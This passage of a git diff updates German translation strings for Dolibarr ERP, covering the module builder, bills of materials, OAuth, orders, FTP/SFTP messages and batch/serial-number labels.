      wirklich löschen? Dadurch wird Code in der PHP-Klasse geändert, aber auch die Spalte aus der Tabellendefinition des Objekts entfernt. NotNull=Not NULL NotNullDesc=1=Datenbank auf NOT NULL setzen, 0=Nullwerte zulassen, -1=Nullwerte zulassen, indem der Wert auf NULL gesetzt wird, wenn er leer ist ('' oder 0) @@ -72,23 +77,24 @@ TestClassFile=Datei für PHP Unit Testklasse SqlFile=SQL Datei PageForLib=Datei für die gemeinsame PHP-Bibliothek PageForObjLib=Datei für die Objekt-PHP-Bibliothek -SqlFileExtraFields=SQL Datei für zusätzliche Eigenschaften +SqlFileExtraFields=SQL Datei für ergänzende Attribute SqlFileKey=SQL Datei für Schlüsselwerte -SqlFileKeyExtraFields=SQL-Datei für die Schlüssel der Extrafields +SqlFileKeyExtraFields=SQL-Datei für die Schlüssel der ergänzenden Attribute AnObjectAlreadyExistWithThisNameAndDiffCase=Es existiert bereits ein Objekt mit diesem Namen und einer anderen Groß-/Kleinschreibung UseAsciiDocFormat=Sie können das Markdown-Format verwenden, empfohlen wird jedoch, das Asciidoc-Format zu verwenden (Vergleich zwischen .md und .asciidoc: http://asciidoctor.org/docs/user-manual/#compared-to-markdown) IsAMeasure=Ist ein Maß (addierbar) DirScanned=Verzeichnis gescannt NoTrigger=Kein Trigger NoWidget=Kein Widget -GoToApiExplorer=API-Explorer +ApiExplorer=API-Explorer ListOfMenusEntries=Liste der Menüeinträge ListOfDictionariesEntries=Liste der Stammdaten ListOfPermissionsDefined=Liste der definierten Berechtigungen SeeExamples=Siehe Beispiele -EnabledDesc=Condition to have this field active (Examples: 1 or $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Ist das Feld sichtbar? (Beispiele: 0 = Nie sichtbar, 1 = Auf Liste sichtbar und Formulare erstellen / aktualisieren / anzeigen, 2 = Nur auf Liste sichtbar, 3 = Nur auf Formular erstellen / aktualisieren / anzeigen (nicht Liste), 4 = Auf Liste sichtbar und nur sichtbar bei Formular aktualisieren / anzeigen (nicht erstellen), 5 = Nur im Formular für die Listenendansicht sichtbar (nicht erstellen, nicht aktualisieren).

      Wenn ein negativer Wert verwendet wird, wird das Feld standardmäßig nicht in der Liste angezeigt, kann jedoch zur Anzeige ausgewählt werden.)

      Es kann sich um einen Ausdruck handeln, z. B.:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Zeigt dieses Feld in kompatiblen PDF-Dokumenten an. Sie können die Anzeigeposition über das Feld "Position" beeinflussen.
      Derzeit bekannte kompatible PDF-Modelle sind: eratosthene (Bestellung), espadon (Lieferung), sponge (Rechnung), cyan (Angebot), cornas (Lieferantenauftrag)

      Für Dokument:
      0 = nicht anzeigen
      1 = anzeigen
      2 = anzeigen, wenn nicht leer

      Für Einzelpositionen:
      0 = nicht anzeigen
      1 = in Spalte anzeigen
      3 = in Beschreibungszeile nach der Beschreibung anzeigen
      4 = nur falls nicht leer: in Beschreibungszeile nach der Beschreibung anzeigen +EnabledDesc=Bedingung, dass dieses Feld aktiv ist.

      Beispiele:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Ist das Feld sichtbar? (Beispiele: 0=Nie sichtbar, 1=Sichtbar auf Liste und Erstellen/Aktualisieren/Anzeigen von Formularen, 2=Sichtbar nur auf Liste, 3=Sichtbar nur auf Erstellen/Aktualisieren/Anzeigen von Formularen (keine Liste), 4=Sichtbar auf Liste und Nur Formular aktualisieren/anzeigen (nicht erstellen), 5=Sichtbar nur im Listen-Endansichtsformular (nicht erstellen, nicht aktualisieren)

      Die Verwendung eines negativen Werts bedeutet, dass das Feld nicht standardmäßig in der Liste angezeigt wird, aber zur Anzeige ausgewählt werden kann). +ItCanBeAnExpression=Dies kann ein Ausdruck sein. Beispiel:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Zeigt dieses Feld in kompatiblen PDF-Dokumenten an, Sie können die Position mit dem Feld "Position" beeinflussen.
      Für gesamtes Dokument:
      0 = nicht anzeigen
      1 = anzeigen
      2 = anzeigen, wenn nicht leer

      Für Einzelpositionen:
      0 = nicht anzeigen
      1 = in einer Spalte anzeigen
      3 = in der Beschreibungszeile nach der Beschreibung anzeigen
      4 = nur falls nicht leer: in Beschreibungszeile nach der Beschreibung anzeigen DisplayOnPdf=Anzeige im PDF IsAMeasureDesc=Kann der Wert des Feldes kumuliert werden, um eine Summe in die Liste aufzunehmen? (Beispiele: 1 oder 0) SearchAllDesc=Wird das Feld verwendet, um eine Suche über das Schnellsuchwerkzeug durchzuführen? (Beispiele: 1 oder 0) @@ -130,18 +136,20 @@ UseSpecificEditorURL = Verwenden Sie eine bestimmte Editor-URL UseSpecificFamily = Verwenden Sie eine bestimmte Kategorie/Gruppe UseSpecificAuthor = Verwenden Sie einen bestimmten Autor UseSpecificVersion = Verwenden Sie eine bestimmte Anfangsversion -IncludeRefGeneration=Die Referenz des Objekts soll automatisch mittels benutzerdefinierter Nummerierungsregeln generiert werden +IncludeRefGeneration=Die Referenz dieses Objekts muss automatisch durch benutzerdefinierte Nummerierungsregeln generiert werden IncludeRefGenerationHelp=Aktivieren Sie diese Option, wenn Sie Code einschließen möchten, der die Referenz automatisch mit Hilfe von benutzerdefinierten Nummerierungsregeln generiert -IncludeDocGeneration=Für das Objekt sollen Dokumente aus Vorlagen generiert werden können. +IncludeDocGeneration=Für das Objekt sollen Dokumente aus Vorlagen (PDF, ODT) generiert werden können. IncludeDocGenerationHelp=Wenn Sie dies aktivieren, wird Code generiert, um dem Datensatz ein Feld "Dokument generieren" hinzuzufügen. -ShowOnCombobox=Wert in der Combobox anzeigen +ShowOnCombobox=Wert in Combo-Box anzeigen KeyForTooltip=Schlüssel für Tooltip CSSClass=CSS zum Bearbeiten/Erstellen von Formularen (edit/create) CSSViewClass=CSS für das Lesen von Formularen (read) CSSListClass=CSS für Listen NotEditable=Nicht bearbeitbar ForeignKey=Fremdschlüssel -TypeOfFieldsHelp=Feldtypen:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      „1“ bedeutet, dass wir nach der Kombobox eine '+'-Schaltfläche hinzufügen, um den Datensatz zu erstellen
      'filter' ist eine SQL-Bedingung, Beispiel: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=Wenn der Wert dieses Felds garantiert in einer anderen Tabelle vorhanden sein muss, geben Sie hier eine Syntax zum Abgleich der Werte ein: tablename.parentfieldtocheck +TypeOfFieldsHelp=Beispiel:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' bedeutet, dass nach der Kombobox eine '+'-Schaltfläche hinzufügt wird, um den Datensatz zu erstellen
      'filter' ist eine SQL-Bedingung, Beispiel: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=Dies ist der Typ des Felds/Attributs. AsciiToHtmlConverter=Ascii zu HTML Konverter AsciiToPdfConverter=Ascii zu PDF Konverter TableNotEmptyDropCanceled=Tabelle nicht leer. Löschen wurde abgebrochen. @@ -154,3 +162,14 @@ ListOfTabsEntries=Liste der Registerkarteneinträge/Tab-Einträge TabsDefDesc=Definieren Sie hier die von Ihrem Modul bereitgestellten Registerkarten/Tabs TabsDefDescTooltip=Die von Ihrem Modul/Ihrer Anwendung bereitgestellten Registerkarten/Tabs sind im Array $this->tabs in der Moduldeskriptordatei definiert. Sie können diese Datei manuell bearbeiten oder den eingebetteten Editor verwenden. BadValueForType=Ungültiger Wert für Typ %s +DefinePropertiesFromExistingTable=Eigenschaften aus einer vorhandenen Tabelle definieren +DefinePropertiesFromExistingTableDesc=Wenn bereits eine Tabelle in der Datenbank (für das zu erstellende Objekt) vorhanden ist, können Sie diese verwenden, um die Eigenschaften des Objekts zu definieren. +DefinePropertiesFromExistingTableDesc2=Leer lassen, wenn die Tabelle noch nicht existiert. Der Codegenerator verwendet verschiedene Arten von Feldern, um eine Beispieltabelle zu erstellen, die Sie später bearbeiten können. +GeneratePermissions=Ich möchte die Rechte für dieses Objekt hinzufügen +GeneratePermissionsHelp=Standardrechte für dieses Objekt generieren +PermissionDeletedSuccesfuly=Die Berechtigung wurde erfolgreich entfernt +PermissionUpdatedSuccesfuly=Die Berechtigung wurde erfolgreich aktualisiert +PermissionAddedSuccesfuly=Die Berechtigung wurde erfolgreich hinzugefügt +MenuDeletedSuccessfuly=Das Menü wurde erfolgreich gelöscht +MenuAddedSuccessfuly=Das Menü wurde erfolgreich hinzugefügt +MenuUpdatedSuccessfuly=Das Menü wurde erfolgreich aktualisiert diff --git a/htdocs/langs/de_DE/mrp.lang b/htdocs/langs/de_DE/mrp.lang index 91485cadecc..37dc33a3423 100644 --- a/htdocs/langs/de_DE/mrp.lang +++ b/htdocs/langs/de_DE/mrp.lang @@ -11,8 +11,8 @@ Bom=Stücklisten BillOfMaterials=Stückliste BillOfMaterialsLines=Stücklistenpositionen BOMsSetup=Stücklisten Modul einrichten -ListOfBOMs=Stücklisten-Übersicht -ListOfManufacturingOrders=Liste der Fertigungsaufträge +ListOfBOMs=Stücklisten - BOM +ListOfManufacturingOrders=Fertigungsaufträge NewBOM=Neue Stückliste ProductBOMHelp=Mit dieser Stückliste zu erstellendes (oder zu zerlegendes) Produkt.
      Hinweis: Produkte mit der Eigenschaft 'Art des Produkts' = 'Rohstoff' sind in dieser Liste nicht sichtbar. BOMsNumberingModules=Vorlage für die Stücklistennummerierung @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Sind Sie sicher, dass Sie die Stückliste %s klonen ConfirmCloneMo=Möchten Sie den Fertigungsauftrag %s wirklich duplizieren? ManufacturingEfficiency=Produktionseffizienz ConsumptionEfficiency=Verbrauchseffizienz +Consumption=Verbrauch ValueOfMeansLoss=Ein Wert von 0,95 bedeutet einen durchschnittlichen Verlust von 5%% während der Herstellung oder Demontage ValueOfMeansLossForProductProduced=Ein Wert von 0,95 bedeutet im Durchschnitt 5%% Verlust bei dem hergestellten Produkt DeleteBillOfMaterials=Stückliste löschen @@ -41,7 +42,7 @@ DateEndPlannedMo=Geplantes Enddatum KeepEmptyForAsap=Leer bedeutet 'So bald wie möglich' EstimatedDuration=geschätzte Dauer EstimatedDurationDesc=Geschätzte Dauer der Herstellung (oder Demontage) dieses Produkts unter Verwendung dieser Stückliste -ConfirmValidateBom=Sicher, dass die Stückliste abgeglichen wird mit der Referenz %s (kann genutzt werden, um neue Fertigungsaufträge zu erstellen) +ConfirmValidateBom=Sind Sie sicher, dass Sie die Stückliste mit der Referenz %s freigeben möchten? (Sie können sie verwenden, um neue Fertigungsaufträge zu erstellen) ConfirmCloseBom=Soll diese Stückliste wirlich storniert werden (Sie kann nicht mehr zum Erstellen neuer Fertigungsaufträge verwendet werden)? ConfirmReopenBom=Soll diese Stückliste erneut geöffnet werden (Sie können damit neue Fertigungsaufträge erstellen)? StatusMOProduced=Produziert @@ -73,7 +74,7 @@ CancelProductionForRef=Stornierung der Produktbestandsverringerung für Produkt TooltipDeleteAndRevertStockMovement=Position löschen und Bestandsbewegung rückgängig machen AutoCloseMO=Automatisch den Fertigungsauftrag beenden, wenn die zu verbrauchenden und zu produzierenden Mengen erreicht sind NoStockChangeOnServices=Keine Bestandsveränderung bei Leistungen -ProductQtyToConsumeByMO=zu verbrauchende Produktmenge von offenem Fertigungsauftrag +ProductQtyToConsumeByMO=Noch zu verbrauchende Produktmenge durch offene Fertigungsaufträge ProductQtyToProduceByMO=Noch herzustellende Produktmenge des offenen Fertigungsauftrags AddNewConsumeLines=Eine neue Zeile Verbrauch hinzufügen AddNewProduceLines=Neue Position hinzufügen, um zu fertigen @@ -82,6 +83,7 @@ ProductsToProduce=Produkte zu produzieren UnitCost=Kosten pro Einheit TotalCost=Gesamtsumme Kosten BOMTotalCost=Die Herstellungskosten dieser Stückliste, basierend auf den Kosten jeder Menge und jeden verbrauchten Produktes (nutzt den Selbstkostenpreis wenn er definiert ist, ansonsten den Durchschnittspreis sofern definiert oder den besten Einkaufspreis) +BOMTotalCostService=Wenn das Modul "Arbeitsstation" aktiviert ist und auf der Zeile standardmäßig eine Arbeitsstation definiert ist, dann lautet die Berechnung "Menge (umgerechnet in Stunden) x Fertigungsstundensatz der Arbeitsstation", sonst "Menge (umgerechnet in Stunden) x Selbstkosten der Leistung". GoOnTabProductionToProduceFirst=Die Produktion muss begonnen sein, um einen Produktionsauftrag zu schließen (siehe Tab '%s'). Alternativ kann er storniert werden. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Ein Set kann nicht in einer Stückliste oder einem Fertigungsauftrag verwendet werden Workstation=Arbeitsstationen @@ -100,6 +102,7 @@ NbOperatorsRequired=Anzahl der erforderlichen Bediener THMOperatorEstimated=Geschätzter Bediener THM THMMachineEstimated=Geschätzter Maschinen THM WorkstationType=Arbeitsstationstyp +DefaultWorkstation=Standard-Arbeitsstation Human=Mensch Machine=Maschine HumanMachine=Mensch & Maschine @@ -112,3 +115,10 @@ MOAndLines=Fertigungsaufträge und Auftragspositionen MoChildGenerate=Untergeordneten Fertigungsauftrag generieren ParentMo=Übergeordneter Fertigungsauftrag MOChild=Untergeordneter Fertigungsauftrag +BomCantAddChildBom=Die Nomenklatur %s ist bereits im Baum vorhanden, der zur Nomenklatur %s führt +BOMNetNeeds = BOM-Nettobedarf +BOMProductsList=BOM-Produkte +BOMServicesList=BOM-Leistungen +Manufacturing=Fertigung +Disassemble=Demontage +ProducedBy=Hergestellt von diff --git a/htdocs/langs/de_DE/multicurrency.lang b/htdocs/langs/de_DE/multicurrency.lang index 0885224c974..a3c816d2a38 100644 --- a/htdocs/langs/de_DE/multicurrency.lang +++ b/htdocs/langs/de_DE/multicurrency.lang @@ -9,7 +9,7 @@ multicurrency_useOriginTx=Wenn ein Beleg anhand eines anderen erstellt wird, den CurrencyLayerAccount=Währungslayer API CurrencyLayerAccount_help_to_synchronize=Sie sollten ein Konto auf der Website %s erstellen, um diese Funktion zu verwenden.
      API-Schlüssel abrufen
      Verwenden Sie ein kostenloses Konto, können Sie die Quellwährung nicht ändern (Standard: USD)
      Ist ihre Hauptwährung nicht USD, wird die Anwendung dies automatisch umrechnen.

      Sie sind auf 1000 Synchronisierungen pro Monat beschränkt. multicurrency_appId=API Schlüssel -multicurrency_appCurrencySource=Quell-/Ausgangswährung +multicurrency_appCurrencySource=Ausgangswährung multicurrency_alternateCurrencySource=alternative Quellwährung CurrenciesUsed=verwendete Währungen CurrenciesUsed_help_to_add=Fügen Sie die Währungen und Währungskurse hinzu, die Sie für ihre Angebote, Bestellungen, etc. benötigen diff --git a/htdocs/langs/de_DE/oauth.lang b/htdocs/langs/de_DE/oauth.lang index 1c235015ddb..9bd8029b9eb 100644 --- a/htdocs/langs/de_DE/oauth.lang +++ b/htdocs/langs/de_DE/oauth.lang @@ -9,6 +9,7 @@ HasAccessToken=Ein Token wurde erstellt und in der lokalen Datenbank gespeichert NewTokenStored=Token empfangen und gespeichert ToCheckDeleteTokenOnProvider=Klicke hier um prüfen/entfernen Authentifizierung gespeichert durch den OAuth Anbieter %s TokenDeleted=Token gelöscht +GetAccess=Hier klicken, um ein Token zu erhalten RequestAccess=Klicken Sie hier, um den Zugriff anzufordern/zu erneuern und ein neues Token zu erhalten DeleteAccess=Hier klicken, um das Token zu löschen UseTheFollowingUrlAsRedirectURI=Verwenden Sie die folgende URL als Redirect-URI, wenn Sie Ihre Anmeldeinformationen bei Ihrem OAuth-Anbieter erstellen: @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=OAuth GitHub Secret OAUTH_URL_FOR_CREDENTIAL=Gehen Sie zu dieser Seite, um Ihre OAuth-ID und Ihr Geheimnis zu erstellen oder abzurufen OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=OAuth-ID +OAUTH_ID=OAuth-Client-ID OAUTH_SECRET=OAuth-Geheimnis +OAUTH_TENANT=OAuth-Mandant OAuthProviderAdded=OAuth-Anbieter hinzugefügt AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Ein OAuth-Eintrag für diesen Anbieter und dieses Label ist bereits vorhanden +URLOfServiceForAuthorization=URL, die vom OAuth-Dienst zur Authentifizierung bereitgestellt wird +Scopes=Berechtigungen (Scopes) +ScopeUndefined=Berechtigungen (Scopes) undefiniert (siehe vorheriges Tab) diff --git a/htdocs/langs/de_DE/orders.lang b/htdocs/langs/de_DE/orders.lang index 7fa65acad2f..984e8eb981c 100644 --- a/htdocs/langs/de_DE/orders.lang +++ b/htdocs/langs/de_DE/orders.lang @@ -42,7 +42,7 @@ StatusOrderProcessedShort=Bearbeitet StatusOrderDelivered=Geliefert StatusOrderDeliveredShort=Geliefert StatusOrderToBillShort=Zu verrechnen -StatusOrderApprovedShort=genehmigt +StatusOrderApprovedShort=Genehmigt StatusOrderRefusedShort=Abgelehnt StatusOrderToProcessShort=Zu bearbeiten StatusOrderReceivedPartiallyShort=Teilweise erhalten @@ -77,7 +77,7 @@ DeleteOrder=Bestellung löschen CancelOrder=Bestellung stornieren OrderReopened= Bestellung %s wieder geöffnet AddOrder=Auftrag erstellen -AddSupplierOrderShort=Bestellung erstellen +AddSupplierOrderShort=Auftrag erstellen AddPurchaseOrder=Lieferantenbestellung erstellen AddToDraftOrders=Zu Bestellentwurf hinzufügen ShowOrder=Bestellung anzeigen @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=Statistik Lieferantenbestellungen NumberOfOrdersByMonth=Anzahl der Bestellungen pro Monat AmountOfOrdersByMonthHT=Gesamtbetrag der Bestellungen pro Monat (exkl. Steuern) ListOfOrders=Liste Aufträge +ListOrderLigne=Auftragspositionen +productobuy=Produkte nur zum Kaufen +productonly=Nur Produkte +disablelinefree=Keine kostenfreien Positionen anzeigen CloseOrder=Bestellung schließen ConfirmCloseOrder=Möchten Sie diese Bestellung wirklich auf "geliefert" setzen? Sobald eine Bestellung geliefert ist, kann sie auf "berechnet" gesetzt werden. ConfirmDeleteOrder=Möchten Sie diese Bestellung wirklich löschen? @@ -131,6 +135,7 @@ SupplierOrderClassifiedBilled=Bestellung %s als verrechnet markieren OtherOrders=zeige weitere Bestellungen dieses Partners SupplierOrderValidatedAndApproved=Die Lieferantenbestellung ist freigegeben und genehmigt: %s SupplierOrderValidated=Lieferantenbestellung ist freigegeben: %s +OrderShowDetail=Auftragsdetail anzeigen ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Kundenauftrag-Nachbetreuung durch Vertreter TypeContact_commande_internal_SHIPPING=Versand-Nachbetreuung durch Vertreter @@ -183,7 +188,7 @@ StatusSupplierOrderProcessedShort=Bearbeitet StatusSupplierOrderDelivered=Geliefert StatusSupplierOrderDeliveredShort=Geliefert StatusSupplierOrderToBillShort=Geliefert -StatusSupplierOrderApprovedShort=genehmigt +StatusSupplierOrderApprovedShort=Genehmigt StatusSupplierOrderRefusedShort=Abgelehnt StatusSupplierOrderToProcessShort=Zu bearbeiten StatusSupplierOrderReceivedPartiallyShort=Teilweise erhalten @@ -195,7 +200,9 @@ StatusSupplierOrderOnProcess=Bestellt - wartet auf Eingang StatusSupplierOrderOnProcessWithValidation=Bestellt - wartet auf Eingang/Bestätigung StatusSupplierOrderProcessed=Bearbeitet StatusSupplierOrderToBill=Geliefert -StatusSupplierOrderApproved=genehmigt +StatusSupplierOrderApproved=Genehmigt StatusSupplierOrderRefused=Abgelehnt StatusSupplierOrderReceivedPartially=Teilweise erhalten StatusSupplierOrderReceivedAll=Alle Produkte erhalten +NeedAtLeastOneInvoice = Es muss mindestens eine Rechnung vorhanden sein +LineAlreadyDispatched = Die Bestellposition ist bereits eingegangen. diff --git a/htdocs/langs/de_DE/other.lang b/htdocs/langs/de_DE/other.lang index cd376581467..78e2310165c 100644 --- a/htdocs/langs/de_DE/other.lang +++ b/htdocs/langs/de_DE/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Lieferantenbestellung freigegeben Notify_ORDER_SUPPLIER_REFUSE=Lieferantenbestellung abgelehnt Notify_PROPAL_VALIDATE=Angebot freigegeben Notify_PROPAL_CLOSE_SIGNED=Geschlossene unterzeichnete Kundenangebote +Notify_PROPAL_CLOSE_SIGNED_WEB=Ein auf der Portalseite akzeptiertes Kundenangebot wurde geschlossen Notify_PROPAL_CLOSE_REFUSED=verworfene Kundenangebote, geschlossen +Notify_PROPAL_CLOSE_REFUSED_WEB=Ein auf der Portalseite abgelehnte Kundenangebot wurde geschlossen Notify_PROPAL_SENTBYMAIL=Angebot mit E-Mail gesendet Notify_WITHDRAW_TRANSMIT=Transaktion zurückziehen Notify_WITHDRAW_CREDIT=Kreditkarten Rücknahme @@ -83,10 +85,10 @@ Notify_HOLIDAY_VALIDATE=Urlaubsantrag überprüft (Genehmigung ausstehend) Notify_HOLIDAY_APPROVE=Urlaubsantrag genehmigt Notify_ACTION_CREATE=Aktion zur Tagesplanung hinzugefügt SeeModuleSetup=Finden Sie im Modul-Setup %s -NbOfAttachedFiles=Anzahl der angehängten Dateien/Dokumente -TotalSizeOfAttachedFiles=Gesamtgröße der angehängten Dateien/Dokumente +NbOfAttachedFiles=Anzahl der angehängten Dateien +TotalSizeOfAttachedFiles=Gesamtgröße der angehängten Dateien MaxSize=Maximalgröße -AttachANewFile=Neue Datei/Dokument anhängen +AttachANewFile=Neue Datei anhängen LinkedObject=Verknüpftes Objekt NbOfActiveNotifications=Anzahl der Benachrichtigungen (Anzahl der E-Mail Empfänger) PredefinedMailTest=__(Hallo)__\nDies ist eine Testmail, die an __EMAIL__ gesendet wird.\nDie Zeilen sind durch einen Zeilenumbruch getrennt.\n\n__USER_SIGNATURE__ @@ -129,7 +131,7 @@ ModifiedByLogin=Letzte Änderung durch Benutzerlogin ValidatedByLogin=Freigabe durch User CanceledByLogin=storniert durch Benutzername ClosedByLogin=geschlossen von User -FileWasRemoved=Datei wurde entfernt +FileWasRemoved=Datei %s wurde entfernt DirWasRemoved=Verzeichnis wurde entfernt FeatureNotYetAvailable=Diese Funktion steht in dieser Version noch nicht zur Verfügung FeatureNotAvailableOnDevicesWithoutMouse=Funktion auf Geräten ohne Maus nicht verfügbar @@ -181,6 +183,7 @@ SizeUnitfoot=Fuß SizeUnitpoint=Punkt BugTracker=Fehlerverfolgung (Bug-Tracker) SendNewPasswordDesc=Mit diesem Formular können Sie ein neues Passwort anfordern, welches an Ihre hinterlegte E-Mail-Adresse gesendet wird.
      Die Änderung wird wirksam, sobald Sie auf den Bestätigungslink in der E-Mail klicken. +EnterNewPasswordHere=Neues Passwort hier eingeben BackToLoginPage=Zurück zur Anmeldeseite AuthenticationDoesNotAllowSendNewPassword=Im derzeit gewählten Authentifizierungsmodus (%s) kann das System nicht auf Ihre Passwortdaten zugreifen und diese auch nicht ändern.
      Wenden Sie sich hierzu bitte an den Systemadministrator. EnableGDLibraryDesc=Installiere oder aktiviere die GD Bibliothek in der PHP Installtion um dieses Option zu verwenden. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Rechnung %s wurde freigegeben. EMailTextInvoicePayed=Rechnung %s wurde bezahlt. EMailTextProposalValidated=Angebot %s wurde freigegeben EMailTextProposalClosedSigned=Das Angebot %s wurde unterschrieben. +EMailTextProposalClosedSignedWeb=Das auf der Portalseite akzeptierte Angebot %s wurde geschlossen. +EMailTextProposalClosedRefused=Abgelehntes Angebot %s wurde geschlossen. +EMailTextProposalClosedRefusedWeb=Auf der Portalseite abgelehntes Angebot %s wurde geschlossen. EMailTextOrderValidated=Auftrag %s wurde freigegeben EMailTextOrderApproved=Auftrag %s wurde genehmigt. EMailTextOrderValidatedBy=Der Auftrag %s wurde von %s aufgezeichnet. @@ -311,10 +317,10 @@ ExternalSiteURL=URL der externen Seite zur Einbettung in einen HTML-iframe ExternalSiteModuleNotComplete=Modul ExternalSite wurde nicht richtig konfiguriert. ExampleMyMenuEntry=Mein Menü-Eintrag -# FTP +# ftp FTPClientSetup=Einrichtung des FTP- oder SFTP-Client-Moduls -NewFTPClient=Neue FTP/FTPS-Verbindungs-Konfiguration -FTPArea=FTP/FTPS-Bereich +NewFTPClient=Neue FTP/SFTP-Verbindung einrichten +FTPArea=FTP/SFTP-Bereich FTPAreaDesc=Diese Ansicht zeigt Ihnen den Inhalt eines FTP- oder SFTP-Servers an. SetupOfFTPClientModuleNotComplete=Die Konfiguration des FTP- oder SFTP-Client-Moduls scheint unvollständig zu sein FTPFeatureNotSupportedByYourPHP=Ihre PHP-Umgebung unterstützt keine FTP- oder SFTP-Funktionen @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=Konnte Verzeichnis %s nicht entfernen. Überprüfen FTPPassiveMode=Passives FTP ChooseAFTPEntryIntoMenu=Wählen Sie eine FTP/SFTP-Site aus dem Menü... FailedToGetFile=Folgende Datei(en) konnte(n) nicht geladen werden: %s +ErrorFTPNodisconnect=Fehler beim Trennen des FTP/SFTP-Servers +FileWasUpload=Datei %s wurde hochgeladen +FTPFailedToUploadFile=Fehler beim Hochladen der Datei %s. +AddFolder=Ordner erstellen +FileWasCreateFolder=Ordner %s wurde erstellt +FTPFailedToCreateFolder=Ordner %s konnte nicht erstellt werden. diff --git a/htdocs/langs/de_DE/partnership.lang b/htdocs/langs/de_DE/partnership.lang index 7a614d7fbd9..0f008e1c83a 100644 --- a/htdocs/langs/de_DE/partnership.lang +++ b/htdocs/langs/de_DE/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Partnerschaften PartnershipDescription=Modul zur Parnterschafts-Verwaltung PartnershipDescriptionLong= Modul zur Parnterschafts-Verwaltung Partnership=Partnerschaft +Partnerships=Partnerschaften AddPartnership=Partnerschaft hinzufügen CancelPartnershipForExpiredMembers=Partnerschaft: Partnerschaft von Mitgliedern mit abgelaufenen Abonnements kündigen PartnershipCheckBacklink=Partnerschaft: Überprüfen Sie den verweisenden Backlink @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Partnerschaft: Überprüfen Sie den verweisenden Backli # Menu # NewPartnership=Neue Partnerschaft +NewPartnershipbyWeb=Ihre Partnerschaftsanfrage wurde erfolgreich hinzugefügt. Wir werden uns in Kürze mit Ihnen in Verbindung setzen... ListOfPartnerships=Liste der Partnerschaften # diff --git a/htdocs/langs/de_DE/productbatch.lang b/htdocs/langs/de_DE/productbatch.lang index 1a17635f56a..9b69c243044 100644 --- a/htdocs/langs/de_DE/productbatch.lang +++ b/htdocs/langs/de_DE/productbatch.lang @@ -6,10 +6,10 @@ ProductStatusNotOnBatch=Nein (keine Chargen-/Serien-Nr.) ProductStatusOnBatchShort=Los ProductStatusOnSerialShort=Seriennummer ProductStatusNotOnBatchShort=Keine -Batch=Charge / Seriennr. +Batch=Charge/Seriennr. atleast1batchfield="Verzehr bis" oder "Verkaufen bis"-Datum oder Chargen- / Seriennummer batch_number=Chargen-/Seriennummer -BatchNumberShort=Charge / Seriennr. +BatchNumberShort=Charge/Seriennr. EatByDate=Haltbarkeitsdatum SellByDate=Verkaufslimitdatum DetailBatchNumber=Details zur Chargen-/Seriennummer @@ -17,11 +17,12 @@ printBatch=Chargen-/Serien-Nr.: %s printEatby=Verzehren bis: %s printSellby=Verkaufen bis: %s printQty=Menge: %d +printPlannedWarehouse=Warenlager: %s AddDispatchBatchLine=Fügen Sie eine Zeile für den Versand bis Haltbarkeit hinzu -WhenProductBatchModuleOnOptionAreForced=Wenn das Modul "Produkt-Chargen und Serien" aktiviert ist, wird die automatische Warenbestandsanpassung gezwungen beim Ereignis "versendet" den tatsächlichen Bestand zu verringern und beim Ereignis "manuelles Buchen in ein Warenlager" die tatsächlichen Bestand zu erhöhen. Dies kann nicht beeinflusst werden. Andere Optionen können wie gewünscht definiert werden. +WhenProductBatchModuleOnOptionAreForced=Wenn das Modul "Produkt-Chargen und Serien" aktiviert ist, wird die automatische Lagerbestandsanpassung gezwungen beim Ereignis "versendet" den tatsächlichen Bestand zu verringern und beim Ereignis "manuelles Buchen in ein Warenlager" die tatsächlichen Bestand zu erhöhen. Dies kann nicht beeinflusst werden. Andere Optionen können wie gewünscht definiert werden. ProductDoesNotUseBatchSerial=Dieses Produkt hat keine Chargen-/Seriennummer ProductLotSetup=Einstellungen des Moduls "Produkt-Chargen und Serien" -ShowCurrentStockOfLot=Warenbestand für diese Chargen-/Seriennummer anzeigen +ShowCurrentStockOfLot=Lagerbestand für diese Chargen-/Seriennummer anzeigen ShowLogOfMovementIfLot=Bewegungen für diese Chargen-/Seriennummer anzeigen StockDetailPerBatch=Lagerdetail nach Chargen SerialNumberAlreadyInUse=Die Seriennummer %s wird bereits für das Produkt %s verwendet @@ -30,9 +31,9 @@ ManageLotMask=Benutzerdefinierte Maske CustomMasks=Option, für jedes Produkt ein anderes Nummerierungsschema zu definieren BatchLotNumberingModules=Nummerierungsregel zur automatischen Generierung der Chargennummer BatchSerialNumberingModules=Nummerierungsregel zur automatischen Generierung der Seriennummer (für Produkte mit der Eigenschaft 1 eindeutiges Los/Serie für jedes Produkt) -QtyToAddAfterBarcodeScan=Menge %s für jeden gescannten Barcode/jede Charge/jede Seriennummer -LifeTime=Lebensdauer (in Tagen) -EndOfLife=Ende der Lebensdauer +QtyToAddAfterBarcodeScan=%s als Menge für jeden gescannten Barcode/Charge/Seriennr. +LifeTime=Haltbarkeit (in Tagen) +EndOfLife=Ende der Haltbarkeit ManufacturingDate=Herstellungsdatum 